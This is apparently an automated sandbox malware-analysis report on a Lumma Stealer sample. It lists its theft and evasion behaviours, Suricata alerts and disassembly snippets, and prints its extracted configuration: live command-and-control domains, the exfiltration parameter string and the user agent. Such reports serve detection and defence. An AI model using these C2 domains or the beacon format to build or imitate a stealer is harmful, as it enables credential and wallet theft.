Edit tour

Windows Analysis Report
6QLvb9i.exe

Overview

General Information

Sample name:	6QLvb9i.exe
Analysis ID:	1582310
MD5:	c79ad67c0547a2c2f19268618331e4ad
SHA1:	65a778a9ecf4e08bce37d3036e2797693edbbcaa
SHA256:	7ed9c30302d9c77df46d0f85af2972484ea0a0c55bdea41a263d7a9a7e67a2ed
Tags:	exeinfostealerlummamalwareuser-Joker
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

6QLvb9i.exe (PID: 7384 cmdline: "C:\Users\user\Desktop\6QLvb9i.exe" MD5: C79AD67C0547A2C2F19268618331E4AD)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

6QLvb9i.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\6QLvb9i.exe" MD5: C79AD67C0547A2C2F19268618331E4AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["framekgirus.shop", "wholersorie.shop", "noisycuttej.shop", "tirepublicerj.shop", "undesirabkel.click", "cloudewahsj.shop", "rabidcowse.shop", "nearycrepso.shop", "abruptyopsn.shop"], "Build id": "LPnhqo--ijcujmprgili"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1827411101.00000000030BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1827327514.00000000030B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6QLvb9i.exe PID: 7448	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6QLvb9i.exe PID: 7448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6QLvb9i.exe PID: 7448	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6QLvb9i.exe PID: 7448	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:02.511450+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:03.434662+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:04.581835+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.97.3	443	TCP
2024-12-30T10:35:05.691058+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.97.3	443	TCP
2024-12-30T10:35:10.931130+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.97.3	443	TCP
2024-12-30T10:35:12.705981+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.97.3	443	TCP
2024-12-30T10:35:14.111373+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T10:35:16.659727+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:02.973013+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:03.873547+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:17.107150+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:02.973013+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:03.873547+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:02.511450+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-12-30T10:35:03.434662+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-12-30T10:35:04.581835+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-12-30T10:35:05.691058+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-12-30T10:35:10.931130+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-12-30T10:35:12.705981+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-12-30T10:35:14.111373+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-12-30T10:35:16.659727+0100	2058551	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:02.026314+0100	2058550	1	Domain Observed Used for C2 Detected	192.168.2.4	60805	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:13.155766+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T10:35:14.132401+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: wholersorie.shop	Avira URL Cloud: Label: malware
Source: undesirabkel.click	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/Z	Avira URL Cloud: Label: malware
Source: cloudewahsj.shop	Avira URL Cloud: Label: malware
Source: noisycuttej.shop	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apibV7RydFqE=	Avira URL Cloud: Label: malware
Source: rabidcowse.shop	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/apiD	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/api	Avira URL Cloud: Label: malware
Source: nearycrepso.shop	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/api6	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/..z	Avira URL Cloud: Label: malware
Source: tirepublicerj.shop	Avira URL Cloud: Label: malware
Source: framekgirus.shop	Avira URL Cloud: Label: malware
Source: https://undesirabkel.click/j	Avira URL Cloud: Label: malware
Source: abruptyopsn.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["framekgirus.shop", "wholersorie.shop", "noisycuttej.shop", "tirepublicerj.shop", "undesirabkel.click", "cloudewahsj.shop", "rabidcowse.shop", "nearycrepso.shop", "abruptyopsn.shop"], "Build id": "LPnhqo--ijcujmprgili"}

Multi AV Scanner detection for submitted file

Source: 6QLvb9i.exe

Virustotal: Detection: 47%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 90.7% probability

Machine Learning detection for sample

Source: 6QLvb9i.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: undesirabkel.click
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1726245621.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String decryptor: LPnhqo--ijcujmprgili

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 2_2_0041A5C1 CryptUnprotectData,

2_2_0041A5C1

Source: 6QLvb9i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\6QLvb9i.exe

Code function: 0_2_008F82A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_008F82A9

Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 40C3E6E8h	2_2_004410A0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0040E9AA
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+177C9E48h]	2_2_0040C44A
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_0043FC60
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_00440C70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ecx	2_2_0043E41E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0043E41E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_00424428
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ecx	2_2_0043E480
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0043E480
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 6E87DD67h	2_2_0043BE00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+4E1D27A6h]	2_2_0043BE00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 6B77B5E1h	2_2_00440E20
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-202C4D60h]	2_2_0040CF4B
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-202C4D60h]	2_2_0040CF4B
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [edi+eax], 0000h	2_2_00422F20
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebx-1FFDB51Dh]	2_2_0040DF94
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	2_2_0042A100
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042A100
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_00415102
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, edi	2_2_0041E92F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [ebx+eax], 0000h	2_2_0041E92F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [edx+ecx], 0000h	2_2_0041E92F
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, dh	2_2_0043F9D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edx-21379170h]	2_2_004091F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ebx, eax	2_2_00405980
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ebp, eax	2_2_00405980
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_0042D1BA
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	2_2_0043F250
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ebx	2_2_0043F250
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, dh	2_2_0043F250
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then inc eax	2_2_00420270
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+14h]	2_2_00423A00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00423A00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00423A00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042EA12
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1FFDB641h]	2_2_00417A10
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 38B2B0F7h	2_2_00441220
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov dword ptr [esp+00000274h], 2031514Eh	2_2_0042D22E
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042BA30
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004162C4
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0043C280
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_0041DAA8
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+40h]	2_2_0041CB70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_00428B70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, dword ptr [ebp-20h]	2_2_00428B70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov esi, edx	2_2_00428B70
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [ebx+eax], 0000h	2_2_0041AB34
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	2_2_0042C3F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ebx, bx	2_2_004273AE
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then lea eax, dword ptr [edi+ebp]	2_2_0040BC41
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0042A458
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then lea edx, dword ptr [ecx+20h]	2_2_0042D460
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then lea edx, dword ptr [ecx+20h]	2_2_0042D464
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+0Ch]	2_2_0041B470
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-1FFDB731h]	2_2_0041B470
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+0Ch]	2_2_0041B470
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_00402C00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-1FFDB715h]	2_2_00418C28
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ebx	2_2_0043F430
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, dh	2_2_0043F430
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-80h]	2_2_00429CC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	2_2_00429CC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00429CC0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ebx	2_2_0043F4C0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, dh	2_2_0043F4C0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_004284D0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx-44E6DB40h]	2_2_0041D4D6
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_004074E0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_004074E0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00418CE7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_004284B0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, dword ptr [ebp-20h]	2_2_004284B0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov esi, edx	2_2_004284B0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ecx	2_2_00416548
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ebx	2_2_0043F550
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, dh	2_2_0043F550
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 31E2A9F4h	2_2_00439500
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041AD93
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_0042CDAC
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_0042CE4C
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov dword ptr [ebp-20h], eax	2_2_00415656
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	2_2_00415656
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ecx	2_2_0043E674
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0043E674
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov edx, ecx	2_2_0043E678
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0043E678
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_0042CE04
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then push esi	2_2_0042A623
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	2_2_00428633
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov eax, ecx	2_2_0041D6F4
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0041D6F4
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00435F00
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ebx, dword ptr [esi+18h]	2_2_0040AF0D
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi-00005E99h]	2_2_0041AFD7
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then cmp word ptr [esi+ecx], 0000h	2_2_004227F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov ecx, eax	2_2_004227F0
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_00425FA6
Source: C:\Users\user\Desktop\6QLvb9i.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-091E2CE1h]	2_2_00425FA6

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058550 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click) : 192.168.2.4:60805 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2058551 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
